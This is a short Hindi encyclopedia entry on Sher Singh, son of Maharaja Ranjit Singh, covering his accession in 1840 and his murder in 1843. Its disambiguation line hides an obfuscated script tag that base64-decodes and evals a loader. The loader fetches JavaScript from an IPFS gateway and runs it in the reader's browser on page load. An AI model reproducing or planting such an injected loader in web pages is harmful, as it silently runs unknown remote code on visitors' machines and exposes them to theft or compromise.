शेरसिंह (रणजीत सिंह पुत्र)
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- शेरसिंह एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें: शेरसिंह<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
शेरसिंह पंजाब के महाराज रणजीत सिंह (1801-1839 का तीसरा पुत्र था। अपने दोनों बड़े भाइयों की मृत्यु के बाद शेरसिंह 1840 ई. में सिंहासनासीन हुआ था।
- रणजीत सिंह के उपरान्त उनका ज्येष्ठ पुत्र 'खड़क सिंह' और उसके बाद दूसरा पुत्र 'नौनिहाल सिंह' शासक हुए।
- इन दोनों की मृत्यु हो जाने के उपरांत शेरसिंह राज्य का अधिकारी नियुक्त कर दिया गया था।
- रणजीत सिंह की मृत्यु के बाद से ही पंजाब में अराजकता का माहौल था।
- अंग्रेज़ पहले से ही राज्य पर अपनी ललचायी नज़रें गड़ाये हुए थे।
- शेरसिंह केवल तीन वर्ष ही राज्य का शासन कर पाया।
- 1843 ई. में उसकी हत्या कर दी गई।
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टीका टिप्पणी और संदर्भ
भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 455 |
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